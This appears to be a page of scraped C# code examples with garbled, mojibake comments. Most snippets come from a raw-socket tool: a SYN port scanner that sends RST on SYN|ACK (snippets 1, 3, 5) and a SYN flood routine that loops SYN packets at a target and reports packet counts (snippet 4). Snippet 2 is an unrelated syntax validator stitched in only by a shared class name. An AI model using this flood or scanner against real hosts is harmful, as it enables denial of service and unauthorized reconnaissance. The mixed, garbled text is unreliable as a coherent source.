Esempio n. 1
0
        //==========���崫����̱�ʾ��=========BEGIN
        //private Thread SenderThread;
        //private Thread CatcherThread;
        //==========���崫����̱�ʾ��=========END
        public void SenderSocket()
        {
            try
            {
                //Thread lner = new Thread(new ThreadStart(listen));
                //lner.Start();
                for (int i = startPort; i <= endPort; i++)
                {
                    try
                    {
                        IPHostEntry pe = Dns.GetHostByName(aimAddr);
                        uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//����Ҫ������ip��תΪ�����ֽ���
                        ushort port = ushort.Parse(i.ToString());
                        IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
                        Updateloglist(ui, port);
                        //byte[] bt = BitConverter.GetBytes(port);
                        //Array.Reverse(bt);
                        //port = BitConverter.ToUInt16(bt, 0);

                        int xiancheng = 1;//!
                        Random rand = new Random();
                        Thread[] t = new Thread[xiancheng];
                        syn[] sy = new syn[xiancheng];
                        for (int j = 0; j < xiancheng; j++)
                        {

                            sy[j] = new syn(ip, port, ep, rand);
                            t[j] = new Thread(new ThreadStart(sy[j].synFS));
                            t[j].Start();
                        }
                        Scanner.finishPort++;
                    }
                    catch
                    {
                        //MessageBox.Show("����δ֪����");
                        UpdateTBResult(ui, "����δ֪����\r\n");
                    }
                }
                //listen();
            }
            catch (Exception ex)
            {
                //MessageBox.Show(ex.Message);
                UpdateTBResult(ui, ex.Message.ToString() + "\r\n");
            }
        }
Esempio n. 2
0
        static void Main(string[] args)
        {
            
            
           syn syntax = new syn();
           
            int counter = 0;
            int count = 0;
            string line;
            System.IO.File.WriteAllText("check.txt", string.Empty);
            System.IO.File.WriteAllText("int.txt", string.Empty);
            System.IO.File.WriteAllText("float.txt", string.Empty);
            System.IO.File.WriteAllText("string.txt", string.Empty);
            System.IO.File.WriteAllText("char.txt", string.Empty);
            System.IO.File.WriteAllText("icg.txt", string.Empty);

            // Read the file and display it line by line.
            System.IO.StreamReader file =
               new System.IO.StreamReader("d:\\VS 2012/Lexical2/Lexical/bin/Debug/classpart.txt");
            while ((line = file.ReadLine()) != null)
            {
                
                counter++;
            }

            file.Close();
            syntax.arr(counter);
            System.IO.StreamReader file1 =
               new System.IO.StreamReader("d:\\VS 2012/Lexical2/Lexical/bin/Debug/classpart.txt");
            while ((line = file1.ReadLine()) != null)
            {
                //Console.WriteLine(line);
                syntax.set(line);
                counter++;
            }

            file1.Close();


            

            syntax.get();



          //  syntax.get();
            
            bool check;
            check = syntax.validate();
            if (check == true)
           {
                Console.WriteLine("valid");
            }
            else
          {
               Console.WriteLine("not valid");
           }
            
           
            Console.ReadLine();
        }
Esempio n. 3
0
        /// <summary>
        /// ��ȡ��
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="args"></param>
        public void TcpSyn_PacketArrival(object sender, RawSocket.PacketArrivedEventArgs args)
        {
            if (args.Protocol == "TCP" && args.OriginationAddress == aimAddr)
            {
                //�������ݰ�
                byte[] revMsg = args.ReceiveBuffer;
                byte flag = revMsg[33];
                ushort port = BitConverter.ToUInt16(revMsg, 20);
                byte[] rport = BitConverter.GetBytes(port);
                Array.Reverse(rport);
                port = BitConverter.ToUInt16(rport, 0);
                if (flag == 0x0012)
                {
                    Updateportlist1(ui,port);
                    success = true;
                    #region ������յ�SYN|ACK������һ��RST�źŹر�����
                    IPAddress ipAddr = IPAddress.Parse(aimAddr);
                    IPEndPoint iep = new IPEndPoint(ipAddr, Convert.ToInt32(port));
                    Random rand = new Random();
                    uint ip = BitConverter.ToUInt32(ipAddr.GetAddressBytes(), 0);
                    syn rstSock = new syn(ip, port, iep, rand, Convert.ToByte(0x04));
                    rstSock.synFS();
                    #endregion
                }

                if (Scanner.finishPort == System.Math.Abs(endPort - startPort + 1) || rSocket.ErrorOccurred || rSocket.KeepRunning == false )
                {
                    UpdateTBResult(ui, "Finish!\r\n");
                    rSocket.Shutdown();
                    UpdateBtnStart(ui, true);
                }
            }
        }
Esempio n. 4
0
        /// <summary>
        /// ����TcySyn��
        /// </summary>
        /// <param name="aimAddr"></param>
        /// <param name="port"></param>
        /// <returns></returns>
        public void SendSynPackets()
        {
            //byte[] szSendBuf = new byte[100];
            try
            {
                //��ȡĿ��������Ϣ IP��ַ
                IPHostEntry ipAddr = Dns.GetHostByName(aimAddr);

                while (keepFlood)
                {
                    for (int port = startPort; port <= endPort; port++)
                    {
                        //ѭ��ɨ������˿�
                        IPEndPoint iep = new IPEndPoint(ipAddr.AddressList[0], port);

                        try
                        {
                            #region ����TCP�� �°�
                            Random rand = new Random();
                            uint ip = Convert.ToUInt32(ipAddr.AddressList[0].Address);
                            syn synSock = new syn(ip, Convert.ToUInt16(port), iep, rand, Convert.ToByte(0x02));
                            synSock.synFS();
                            #endregion
                        }
                        catch (Exception ex)
                        {
                            UpdateTBResult(ui, ex.Message.ToString());
                        }
                        finally
                        {
                            //scanSock.Close();
                        }
                        //���㷢�Ͱ�������
                        packetNum++;
                    }
                }

            }
            catch
            {
            }

            threadFinish++;
            if (threadFinish == threadCount)
            {
                //�����߳�ȫ�����
                //packetNum = packetNum*threadCount;
                string ret = "SynFlood�������������� " + aimAddr + " ������ " +  packetNum.ToString() + " �����ݰ�\r\n";
                UpdateTBResult(ui, ret);
            }
        }
Esempio n. 5
0
        /// <summary>
        /// ����TcySyn��
        /// </summary>
        /// <param name="aimAddr"></param>
        /// <param name="port"></param>
        /// <returns></returns>
        public void ScanPorts()
        {
            try
            {
                //��ȡĿ��������Ϣ IP��ַ
                IPAddress ipAddr = IPAddress.Parse(aimAddr);

                for (int port = startPort; port <= endPort; port++)
                {
                    //ѭ��ɨ������˿�
                    Updateloglist(ui,port);
                    Scanner.finishPort++;
                    IPEndPoint iep = new IPEndPoint(ipAddr, port);
                    try
                    {
                        #region ����TCP�� �°�
                        Random rand = new Random();
                        uint ip = BitConverter.ToUInt32(ipAddr.GetAddressBytes(), 0);
                        syn synSock = new syn(ip, Convert.ToUInt16(port), iep, rand, Convert.ToByte(0x02));
                        synSock.synFS();
                        #endregion
                    }
                    catch(Exception ex)
                    {
                        UpdateTBResult(ui, ex.Message.ToString() + "\r\n");
                    }
                    finally
                    {
                    }
                }
            }
            catch
            {
            }
        }